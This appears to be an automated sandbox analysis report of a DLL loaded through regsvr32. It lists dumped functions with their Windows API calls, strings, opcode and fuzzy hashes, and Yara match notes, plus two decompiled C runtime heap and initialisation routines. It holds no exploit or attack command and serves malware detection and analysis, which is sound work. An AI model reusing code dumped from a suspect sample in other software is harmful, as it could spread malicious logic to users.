Opcode ID: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction ID: eb6f1617cd975c6e10cf27e40abea16f203efbb492656816d2660eb5cb9ff966
Opcode Fuzzy Hash: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction Fuzzy Hash: 7D2215715093C88BDBBECF64C889BDA7BB9FB44708F10561CEA4A9E258DB745748CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28860 Relevance: 4.5, APIs: 3, Instructions: 25
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28876
GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28891
HeapSetInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D288BB

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction ID: 9235811b63a60011062a1442a231d54292fe2d432e51c42db702af6c27d11e97
Opcode Fuzzy Hash: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction Fuzzy Hash: 50F0FE74A18A4282F7949729AC0977E63D0B758345FA1C43696CD826B4DF3F9589C601

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025A4C Relevance: 4.0, Strings: 3, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6"*n, xrefs: 0000000180025E81
z:7, xrefs: 0000000180025F7D
US8, xrefs: 0000000180025C24

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6"*n$US8$z:7
API String ID: 0-1851205513
Opcode ID: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction ID: 607295142d9547307d046de48b3748fa472aee76cf77032a28cf9f5936a2d7e5
Opcode Fuzzy Hash: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction Fuzzy Hash: 57E1F9706057889FEBBADF24C88A7DE7BA1FB49744F50422DDC8A8E250DB745648CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020118 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-;, xrefs: 0000000180020142
-;, xrefs: 0000000180020168
00, xrefs: 0000000180020267

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -;$-;$00
API String ID: 0-2539125404
Opcode ID: 4bebef8070dd7c101eddf85a5aa64f5999e83061b5374efcb24450239016e0dd
Instruction ID: 193f60ccd2842279d11af0df6a42cb9b90b2b7ab7c379db6368ea7840d008f1f
Opcode Fuzzy Hash: 4bebef8070dd7c101eddf85a5aa64f5999e83061b5374efcb24450239016e0dd
Instruction Fuzzy Hash: 28A1377051478CDBDBAADF28C8C9AD93BA1FF48394FA05219FD0287251CB75D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019628 Relevance: 3.1, Strings: 2, Instructions: 565COMMON

Download Yara Rule

Strings

zm, xrefs: 0000000180019EC6
f+hb, xrefs: 0000000180019A9E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: f+hb$zm
API String ID: 0-4294548274
Opcode ID: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction ID: b2f4f577a3df5b024e80de80ecfd692f42b94ed80d4232126a84951cd6e5a716
Opcode Fuzzy Hash: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction Fuzzy Hash: 4852C97050068D8FDF98DF68C8866DA3BA1FB58388F124319FC8AA7291D778D655CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002ACE8 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

#U6, xrefs: 000000018002AE5D

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #U6
API String ID: 0-3443268899
Opcode ID: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction ID: 59d24509ec93e958c93c94dd97d6e32fc772fd919bc53da4f0cdd3954875abf9
Opcode Fuzzy Hash: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction Fuzzy Hash: 57510E715087888BC7B8DF28C49A6CBBBF1FF86344F10091DE68987260CB76D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27640 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 000007FEF9D2764C
_calloc_dbg.LIBCMTD ref: 000007FEF9D27671

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D2765A, 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$InfoStartup_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 1930727954-3864165772
Opcode ID: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction ID: 1d91a8b9fbbdfe7efb2cec2f51c290a43986955e3ccc02e10ec1e86e5f3f07e0
Opcode Fuzzy Hash: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction Fuzzy Hash: 88F1D82260DBC5C9E7B08B19E88076EB7A0F385B64F258226CAED477E4DB3DD445CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27DE0 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__initmbctable.LIBCMT ref: 000007FEF9D27DED
_calloc_dbg.LIBCMTD ref: 000007FEF9D27E7B
_calloc_dbg.LIBCMTD ref: 000007FEF9D27F1B

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D27F9B

Strings

strcpy_s(*env, cchars, p), xrefs: 000007FEF9D27F92
0*C, xrefs: 000007FEF9D27F38
~, xrefs: 000007FEF9D27EFE
_setenvp, xrefs: 000007FEF9D27F8B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27E66, 000007FEF9D27F06
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27F84

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$__initmbctable_invalid_parameter_invoke_watson_if_error
String ID: 0*C$_setenvp$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$strcpy_s(*env, cchars, p)$~
API String ID: 1648969265-1531933548
Opcode ID: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction ID: 6f04160d34b6c1fe028a5367eccc3c8ebf9b699179af2d046024218ded9634d0
Opcode Fuzzy Hash: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction Fuzzy Hash: 14514F31A1DB8682EB90CB19E88576E77E0F385794F704126EACE477B4DB7EE4408B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF9D272CE
DecodePointer.KERNEL32 ref: 000007FEF9D27375
DecodePointer.KERNEL32 ref: 000007FEF9D272EC

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

DecodePointer.KERNEL32 ref: 000007FEF9D27398
DecodePointer.KERNEL32 ref: 000007FEF9D273AA
_initterm.LIBCMTD ref: 000007FEF9D27408
_initterm.LIBCMTD ref: 000007FEF9D2741B
__crtExitProcess.LIBCMTD ref: 000007FEF9D2747D

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 37cfb5e84e154ae2fbcc5f75e30e47dd1cf7b4373ba061ec72f9a9691eeac49a
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: 36511C3291DB4281E6A09B58EC8436EB7E0F386794F315125EACD427B9DF7EE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE ref: 000007FEF9D2867D
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D28722
FreeEnvironmentStringsW.KERNEL32 ref: 000007FEF9D28764

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c, xrefs: 000007FEF9D2873E

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c
API String ID: 1823725401-2473407871
Opcode ID: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction ID: f3219d0a3466b597a7d077589c81ae53176584dcfccb647f84a4fae4f36a6977
Opcode Fuzzy Hash: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction Fuzzy Hash: B141A536618B8586E794CB56F84432FB7E1F785B94F200429EBCD47BA8DBBED4448B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000007FEF9D27540: _initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
Part of subcall function 000007FEF9D27540: _initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D28FE0: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D2906F

FlsAlloc.KERNEL32 ref: 000007FEF9D23D55

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c, xrefs: 000007FEF9D23D7B

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocCountCriticalFreeInitializeSectionSpin_initp_eh_hooks_initp_misc_winsig_mtdeletelocks
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c
API String ID: 3828364660-3898981997
Opcode ID: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction ID: 54e8e70dd377f15c5e8b83e2f7140eab641006b368099d9e1d163193fdf976c7
Opcode Fuzzy Hash: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction Fuzzy Hash: 5A115E30A2D60286F3E0AB25ED4577DA6E1B784B60F215671E9EE422F5DB2FE4048611

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2461B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000007FE7FEF9D2461B(void* __rdx, void* __r8, long long _a32, long long _a40, intOrPtr _a64, long long _a72, void* _a80, intOrPtr _a88, long long _a96, long long _a128, signed int _a136, long long _a144, intOrPtr _a152, void* _a160) {
				signed int _t64;
				intOrPtr _t66;
				void* _t73;
				void* _t92;
				long long _t98;
				long long _t113;
				long long _t114;
				long long _t115;
				long long _t130;
				intOrPtr _t132;
				long long _t135;

				if (_a136 == 1) goto 0xf9d24672;
				_t64 = _a136 & 0x0000ffff;
				if (_t64 == 2) goto 0xf9d24672;
				if (_a136 == 3) goto 0xf9d24672;
				_a40 = "Error: memory allocation: bad memory block type.\n";
				_a32 = "%s";
				r9d = 0;
				r8d = 0;
				0xf9d2ad00();
				if (_t64 != 1) goto 0xf9d24672;
				asm("int3");
				_t98 = _a128 + 0x34;
				_a96 = _t98;
				0xf9d2ac90(); // executed
				_a80 = _t98;
				if (_a80 != 0) goto 0xf9d246b8;
				if (_a160 == 0) goto 0xf9d246b3;
				 *_a160 = 0xc;
				goto 0xf9d248b4;
				_t66 =  *0xf9d4b03c; // 0x39
				 *0xf9d4b03c = _t66 + 1;
				if (_a64 == 0) goto 0xf9d2472d;
				 *_a80 = 0;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = 0;
				 *((intOrPtr*)(_a80 + 0x18)) = 0xfedcbabc;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = 3;
				 *((intOrPtr*)(_a80 + 0x28)) = 0;
				goto 0xf9d24844;
				if (0xffffffff -  *0xf9d4c960 - _a128 <= 0) goto 0xf9d24763;
				_t130 =  *0xf9d4c960; // 0x4594
				 *0xf9d4c960 = _t130 + _a128;
				goto 0xf9d2476e;
				 *0xf9d4c960 = 0xffffffff;
				_t132 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c990 = _t132 + _a128;
				_t113 =  *0xf9d4c978; // 0x35bc
				_t92 =  *0xf9d4c990 - _t113; // 0xa0c
				if (_t92 <= 0) goto 0xf9d247a8;
				_t114 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c978 = _t114;
				if ( *0xf9d4c980 == 0) goto 0xf9d247c4;
				_t115 =  *0xf9d4c980; // 0x433b00
				 *((long long*)(_t115 + 8)) = _a80;
				goto 0xf9d247d0;
				 *0xf9d4c968 = _a80;
				_t135 =  *0xf9d4c980; // 0x433b00
				 *_a80 = _t135;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = _a144;
				 *((intOrPtr*)(_a80 + 0x18)) = _a152;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = _a136;
				_t78 = _a88;
				 *((intOrPtr*)(_a80 + 0x28)) = _a88;
				 *0xf9d4c980 = _a80;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + 0x2c, __rdx, __r8);
				_t145 = _a128;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + _a128 + 0x30, _a128, __r8);
				_t73 = E000007FE7FEF9D232B0( *0xf9d4b04f & 0x000000ff, _t78,  *0xf9d4b04f & 0x000000ff, _a80 + 0x30, _t145, _a128);
				_a72 = _a80 + 0x30;
				return E000007FE7FEF9D29360(_t73, 4);
			}

0x7fef9d24623
0x7fef9d2462c
0x7fef9d24634
0x7fef9d2463e
0x7fef9d24647
0x7fef9d24653
0x7fef9d24658
0x7fef9d2465b
0x7fef9d24665
0x7fef9d2466d
0x7fef9d2466f
0x7fef9d2467a
0x7fef9d2467e
0x7fef9d24688
0x7fef9d2468d
0x7fef9d24698
0x7fef9d246a3
0x7fef9d246ad
0x7fef9d246b3
0x7fef9d246b8
0x7fef9d246c0
0x7fef9d246cb
0x7fef9d246d2
0x7fef9d246de
0x7fef9d246eb
0x7fef9d246f8
0x7fef9d2470c
0x7fef9d24715
0x7fef9d24721
0x7fef9d24728
0x7fef9d24743
0x7fef9d2474d
0x7fef9d2475a
0x7fef9d24761
0x7fef9d24763
0x7fef9d24776
0x7fef9d24783
0x7fef9d2478a
0x7fef9d24791
0x7fef9d24798
0x7fef9d2479a
0x7fef9d247a1
0x7fef9d247b0
0x7fef9d247b2
0x7fef9d247be
0x7fef9d247c2
0x7fef9d247c9
0x7fef9d247d5
0x7fef9d247dc
0x7fef9d247e4
0x7fef9d247f9
0x7fef9d24809
0x7fef9d24819
0x7fef9d24829
0x7fef9d24831
0x7fef9d24835
0x7fef9d2483d
0x7fef9d24854
0x7fef9d2485c
0x7fef9d2486d
0x7fef9d2487a
0x7fef9d24882
0x7fef9d248a1
0x7fef9d248af
0x7fef9d248c7

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24640

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Error: memory allocation: bad memory block type.
API String ID: 2480363372-1537269110
Opcode ID: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction ID: 3c0f980f6ccd09ea8afc11027f8ae4c535623d5f1e7c019e481493293b97b3b1
Opcode Fuzzy Hash: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction Fuzzy Hash: 4B71EB36A09B8586DBA0CB59E89036EB7E0F3C9B90F218526DADD437A4DF7DD044CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024EE6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction ID: 5490f85ef4092ec497088e60b932e525f0ce693db587fe3a551d92928695aba5
Opcode Fuzzy Hash: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction Fuzzy Hash: 5141C27191C7848FD7A5DF18D08A7DAB7E0FB98318F01495DE88CC7292DB749885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024F28 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction ID: 90d0215384d3738c1bd812602d16852eefab8a4974bd8bae5625081230a7a3ff
Opcode Fuzzy Hash: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction Fuzzy Hash: 4741377091CB848BD7B4DF18D08A7AAB7E0FB98315F10495EE88CC3252DB7498848B86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2CA00: EncodePointer.KERNEL32 ref: 000007FEF9D2CA33

_initterm_e.LIBCMTD ref: 000007FEF9D2701F

Strings

Y, xrefs: 000007FEF9D2700C

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: e2eda9ea6841371ef03f52dec0317b7f8d7542193ab5d09d46fee122be74aa2a
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: 1DE0C22190C042A7FAA1AB24ED453BE63E0B791344FA14231E2CD824B5EB2FF908CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27540 Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF9D27540(long long __rax) {
				long long _v24;
				void* _t8;
				void* _t9;

				_t16 = __rax;
				_t9 = E000007FE7FEF9D23D00(_t8); // executed
				_v24 = __rax;
				return E000007FE7FEF9D2CF20(E000007FE7FEF9D2CFB0(E000007FE7FEF9D2D450(E000007FE7FEF9D2D470(E000007FE7FEF9D2BD50(E000007FE7FEF9D2AB90(_t9, _v24), _v24), _v24), _v24), _v24), _t16, _v24);
			}

0x7fef9d27540
0x7fef9d27544
0x7fef9d27549
0x7fef9d2758e

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

_initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
_initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D2CF20: EncodePointer.KERNEL32(?,?,?,?,000007FEF9D2758A,?,?,?,?,?,?,000007FEF9D23D39), ref: 000007FEF9D2CF30

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_initp_eh_hooks_initp_misc_winsig
String ID:
API String ID: 2678799220-0
Opcode ID: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction ID: d1131ca10be328b200f0d94da683d71e83c9d45f094ccb2362bb8b9ac37f618d
Opcode Fuzzy Hash: abe4bcf42024140c0e82e0fb2c3eff25659a698c9099ae3cd415aa6bcc21eafa
Instruction Fuzzy Hash: CFE07D6391D58181E6B0BB21EC5226E93B0F7C8788F610171B6CD47A7BCE1DE9018B80

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2ACA8 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

__crtExitProcess.LIBCMTD ref: 000007FEF9D2ACB7

Part of subcall function 000007FEF9D274E0: ExitProcess.KERNEL32 ref: 000007FEF9D274F5

RtlAllocateHeap.NTDLL ref: 000007FEF9D2ACE7

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
